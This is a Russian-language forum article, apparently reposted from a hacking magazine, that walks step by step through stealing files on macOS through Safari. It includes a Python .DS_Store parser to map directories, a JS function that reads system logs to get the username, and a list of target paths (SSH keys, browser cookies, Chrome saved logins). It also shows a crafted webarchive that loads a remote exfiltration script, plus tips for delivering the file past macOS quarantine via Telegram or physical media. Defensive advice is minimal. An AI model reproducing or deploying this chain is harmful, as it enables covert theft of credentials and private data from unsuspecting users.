О более сложный и эффективных атаках мы поговорим в нашем обучении.
Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.
В общих чертах атака работает следующим образом.
<ol style="list-style-type: decimal"><li>Пользователь открывает HTML-страницу в браузере.</li>
<li> Браузер читает список имеющихся на компьютере пользователя файлов.</li>
<li> Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.</li>
</ol>Разделим атаку условно на два этапа:
<ul><li>получение информации о файлах удаленного компьютера;</li>
</ul><ul><li>само чтение и отправка на наш сервер.</li>
</ul>На первом этапе мы должны каким-то образом узнать список интересующих нас файлов на компьютере пользователя. Проблема в том, что никакого внятного способа сделать это нет. Ни один браузер не даст тебе с HTML-страницы прочесть локальную директорию ~/ и список файлов на рабочем столе.
Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.
На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.
Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.
В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.
https://image.prntscr.com/image/U5M6...8IB0nGjcKg.png
Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 386px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">[SRC]
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass
[/SRC]</pre>
Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 82px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">[SRC]
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]
[/SRC]</pre>
Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.
Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
["source", "sql", "static", ...]
И так далее.
Пара замечаний:
<ul><li>тебе нужно знать имя пользователя в системе;</li>
</ul><ul><li>файл .DS_Store создается только там, куда заходит пользователь.</li>
</ul>В остальном все отлично работает. Теперь слушай дальше.
Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.
Для начала вспомним о таких путях:<ul><li>~/.ssh/id_rsa;</li>
<li> ~/.ssh/id_rsa.key;</li>
<li> ~/.ssh/id_rsa.pub;</li>
<li> ~/.ssh/known_hosts;</li>
<li> ~/.ssh/authorized_keys.</li>
</ul>И .bash_history — история введенных в терминал команд еще никому не помешала!
Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.
<ul><li>~/Library/Cookies/Cookies.binarycookies</li>
<li> ~/Library/Cookies/com.apple.Safari.cookies</li>
</ul>
Там же будут лежать cookie от Twitter, Skype и прочих приложений.
Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!
~/Library/Cookies/HSTS.plist
Информацию об аккаунтах в системе тоже заберем с собой.
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути
~/Library/Application Support/
Мы заберем только файлики Chrome:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.
Получение полных путей к файлам пользователя.
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.
https://image.prntscr.com/image/oX-u...7E-o2FEsdg.png
Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:
https://image.prntscr.com/image/TIRY...8UDsWdQ2jw.png
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!
Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!
Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС (отдельное спасибо @f1nnix). Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.
Вот JS-функция для извлечения имени пользователя из файлов логов:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 242px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">[SRC]
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}
[/SRC]</pre>
Отправляем файлы на сервер.
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.
Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.
Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.
К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 418px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">[SRC]
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
&lt;key&gt;WebMainResource&lt;/key&gt;
&lt;dict&gt;
&lt;key&gt;WebResourceData&lt;/key&gt;
&lt;data&gt;
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPS dodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc 2NyaXB0Pj
wvYm9keT48L2h0bWw+
&lt;/data&gt;
&lt;key&gt;WebResourceFrameName&lt;/key&gt;
&lt;string&gt;&lt;/string&gt;
&lt;key&gt;WebResourceMIMEType&lt;/key&gt;
&lt;string&gt;text/html&lt;/string&gt;
&lt;key&gt;WebResourceTextEncodingName&lt;/key&gt;
&lt;string&gt;UTF-8&lt;/string&gt;
&lt;key&gt;WebResourceURL&lt;/key&gt;
&lt;string&gt;file:///&lt;/string&gt;
&lt;/dict&gt;
&lt;/dict&gt;
&lt;/plist&gt;
[/SRC]</pre>
где data — это страница в Base64, в каждой строке которой 59 символов.
Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.
https://image.prntscr.com/image/pPAf...KdUxxegimg.png
Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.
Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.
https://image.prntscr.com/image/dPQY...BR12-1CqsQ.png
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования. Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в здесь.
Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом.